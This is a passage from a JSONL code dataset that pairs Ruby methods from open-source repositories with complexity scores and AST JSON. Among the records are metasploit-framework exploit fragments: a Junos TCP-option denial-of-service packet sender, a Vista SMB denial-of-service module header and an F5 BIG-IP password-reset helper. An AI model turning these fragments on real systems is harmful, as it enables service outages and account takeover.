\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape\",{\"type\":\"send\",\"children\":[null,\"exclude_pattern\"]}]}]}]},null]}]}","id":"d26531cb-d149-4c24-9892-cfb781e36c97"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/remote_ip.rb","start_line":196,"raw_source":"def filter_proxies(ips) # :doc:\n ips.reject do |ip|\n @proxies.any? { |proxy| proxy === ip }\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_proxies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ips\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ips\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxies\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proxy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proxy\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]}","id":"80731148-d28c-4853-a92c-8c148b3f81a8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/playsms_filename_exec.rb","start_line":64,"raw_source":"def uri\n return target_uri.path\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}","id":"50d63c06-6c23-4981-9a99-4c66e7729a5d"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":78,"raw_source":"def grouped_by(fields, type, important_fields = [])\n @grouped_by ||= {}\n list = @grouped_by[fields] ||= begin\n # sub results, have fields\n # i.e. grouping by foo, bar\n data = group_by do |entry|\n # index for group is a hash\n # i.e. { :foo => 10, :bar => 20 } <= this is just the KEY!!!!\n fields.inject({}) do |hash, key|\n val = map_group_by_value(key, entry.fields[key])\n hash.merge key => val\n end\n end\n group_by_data_ready(data)\n # map group back to array, all fields with same key get grouped into one list\n data.keys.map { |f| engine::Result.new data[f], f, type, important_fields }\n end\n\n # create a single result from that list\n engine::Result.new list, {}, type, important_fields\n end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"grouped_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fields\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"important_fields\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@grouped_by\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@grouped_by\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"fields\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"inject\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[null,\"map_group_by_value\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"fields\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"group_by_data_ready\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"Result\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"f\"]}]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"important_fields\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"important_fields\"]}]}]}]}","id":"2d5537bf-98d7-4ef7-b8a3-f5f0469e7feb"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1688,"raw_source":"def teardown\n ActiveRecord::Base.configurations = @prev_configs\n ActiveRecord::Base.connection_handler = @old_handler\n clean_up_connection_handler\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"ivar\",\"children\":[\"@prev_configs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_handler=\",{\"type\":\"ivar\",\"children\":[\"@old_handler\"]}]},{\"type\":\"send\",\"children\":[null,\"clean_up_connection_handler\"]}]}]}","id":"c293f8c6-6e11-40ec-aaef-6c0f20a27cdd"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/sharepoint/validators/storage_configuration_validator.rb","start_line":98,"raw_source":"def check_client_id\n return pass_check(:client_id) if query_result.success?\n\n if error_payload[:error] == \"unauthorized_client\"\n fail_check(:client_id, :client_id_invalid)\n else\n pass_check(:client_id)\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_client_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\"]},\"success?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pass_check\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"unauthorized_client\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_check\",{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"sym\",\"children\":[\"client_id_invalid\"]}]},{\"type\":\"send\",\"children\":[null,\"pass_check\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]}]}]}]}","id":"9afa323a-d994-48da-b4e5-8fe042567c45"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/notifications.rb","start_line":62,"raw_source":"def prepare_notification_attributes(notification_data)\n attributes = notification_data.except('updated_at')\n\n attributes['user_id'] = user.id\n\n unless attributes['created_at'].present?\n attributes['created_at'] = Time.current\n end\n\n attributes['updated_at'] = Time.current\n\n attributes.symbolize_keys\n rescue StandardError => e\n Rails.logger.error \"Failed to prepare notification attributes: #{e.message}\"\n Rails.logger.error \"Notification data: #{notification_data.inspect}\"\n nil\n end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_notification_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification_data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_data\"]},\"except\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]},\"present?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"symbolize_keys\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to prepare notification attributes: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Notification data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_data\"]},\"inspect\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"08e4ac21-4faa-4238-ac3d-9938d4b89f68"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/draft_serializer.rb","start_line":34,"raw_source":"def avatar_template\n object.user.avatar_template\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user\"]},\"avatar_template\"]}]}","id":"f6da8bc4-7541-418c-bb53-d623c88c3779"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/patches/lookbook_tree_node_inflector.rb","start_line":34,"raw_source":"def label\n return name if name == \"OpenProject\"\n\n super\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"OpenProject\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5dfc2331-dde1-468d-b97f-e1d5aca7c4be"} {"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":194,"raw_source":"def bad_request?; status == 400; end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"bad_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"int\",\"children\":[400]}]}]}","id":"c22a2f81-e087-4aee-aee1-1fdd1168e968"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/tcp/junos_tcp_opt.rb","start_line":54,"raw_source":"def run\n open_pcap\n\n p = PacketFu::TCPPacket.new\n p.ip_daddr = rhost\n p.ip_saddr = shost\n p.ip_ttl = rand(128..255)\n p.tcp_sport = sport\n p.tcp_dport = rport\n p.tcp_flags.syn = 1\n p.tcp_win = rand(1..4096)\n p.tcp_opts = \"e\\x02\\x01\\x00\" # Opt 101, len 2, nop, eol\n p.recalc\n print_status(\"#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}\")\n capture_sendto(p, rhost)\n close_pcap\n end","complexity_score":28.25,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_pcap\"]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"TCPPacket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr=\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr=\",{\"type\":\"send\",\"children\":[null,\"shost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_ttl=\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[128]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_sport=\",{\"type\":\"send\",\"children\":[null,\"sport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_dport=\",{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_flags\"]},\"syn=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_win=\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4096]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_opts=\",{\"type\":\"str\",\"children\":[\"e\\u0002\\u0001\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_daddr\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_dport\"]}]},{\"type\":\"str\",\"children\":[\" Sending TCP Syn packet from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"ip_saddr\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"tcp_sport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"capture_sendto\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"e161a152-136e-419c-ac92-e32de09998a9"} {"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/maintenance.rb","start_line":393,"raw_source":"def deduplicate_announcement_reactions!\n return unless db_table_exists?(:announcement_reactions)\n\n remove_index_if_exists!(:announcement_reactions, 'index_announcement_reactions_on_account_id_and_announcement_id')\n\n say 'Removing duplicate announcement reactions…'\n duplicate_record_ids(:announcement_reactions, 'account_id, announcement_id, name').each do |row|\n AnnouncementReaction.where(id: row['ids'].split(',')).order(id: :desc).to_a.drop(1).each(&:destroy)\n end\n\n say 'Restoring announcement_reactions indexes…'\n database_connection.add_index :announcement_reactions, %w(account_id announcement_id name), name: 'index_announcement_reactions_on_account_id_and_announcement_id', unique: true\n end","complexity_score":23.98,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicate_announcement_reactions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_table_exists?\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_index_if_exists!\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]},{\"type\":\"str\",\"children\":[\"index_announcement_reactions_on_account_id_and_announcement_id\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Removing duplicate announcement reactions…\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duplicate_record_ids\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]},{\"type\":\"str\",\"children\":[\"account_id, announcement_id, name\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnnouncementReaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ids\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"to_a\"]},\"drop\",{\"type\":\"int\",\"children\":[1]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Restoring announcement_reactions indexes…\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"announcement_reactions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"account_id\"]},{\"type\":\"str\",\"children\":[\"announcement_id\"]},{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_announcement_reactions_on_account_id_and_announcement_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"38ca5415-96b8-4ab1-95a7-6c9bde7003e9"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":76,"raw_source":"def test_route_key\n assert_equal \"posts\", @model_name.route_key\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_route_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@model_name\"]},\"route_key\"]}]}]}","id":"f71b2623-0a72-46ae-a616-9ce8fd3f6e7c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Vista SP0 SMB Negotiate Protocol DoS',\n 'Description' => %q{\n This module exploits a flaw in Windows Vista that allows a remote\n unauthenticated attacker to disable the SMB service. This vulnerability\n was silently fixed in Microsoft Vista Service Pack 1.\n },\n\n 'Author' => [ 'hdm' ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'OSVDB', '64341'],\n ],\n 'Notes' => {\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n\n register_options([Opt::RPORT(445)])\n end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Vista SP0 SMB Negotiate Protocol DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a flaw in Windows Vista that allows a remote\\n\"]},{\"type\":\"str\",\"children\":[\" unauthenticated attacker to disable the SMB service. This vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\" was silently fixed in Microsoft Vista Service Pack 1.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"64341\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[445]}]}]}]}]}]}","id":"e397470b-f3a6-45f0-b4f1-819e0937f221"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_participant.rb","start_line":53,"raw_source":"def mail\n user.present? ? user.mail : I18n.t(\"user.deleted\")\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"mail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"mail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"user.deleted\"]}]}]}]}","id":"96a0e347-3001-4e29-bf98-9a600aaee652"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/pages/domains/delete_service.rb","start_line":16,"raw_source":"def authorized?\n current_user.can?(:update_pages, project)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"update_pages\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"2ab6518c-dd9e-44dd-b218-dc10d5e0fe05"} {"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/policies_controller.rb","start_line":12,"raw_source":"def resource_serializer\n Spree::Api::Dependencies.storefront_policy_serializer.constantize\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_policy_serializer\"]},\"constantize\"]}]}","id":"f66b602b-e56d-44fc-8d8f-7ffa35fd30df"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb","start_line":261,"raw_source":"def bigip_api_shared_set_password(user, old_password, new_password)\n send_request_cgi(\n 'method' => 'PATCH',\n 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),\n 'headers' => {\n 'Authorization' => \"Basic #{Rex::Text.encode_base64(\"#{username}:#{password}\")}\",\n 'Content-Type' => 'application/json'\n },\n 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json\n )\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"bigip_api_shared_set_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"old_password\"]},{\"type\":\"arg\",\"children\":[\"new_password\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"PATCH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"mgmt/shared/authz/users\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Basic 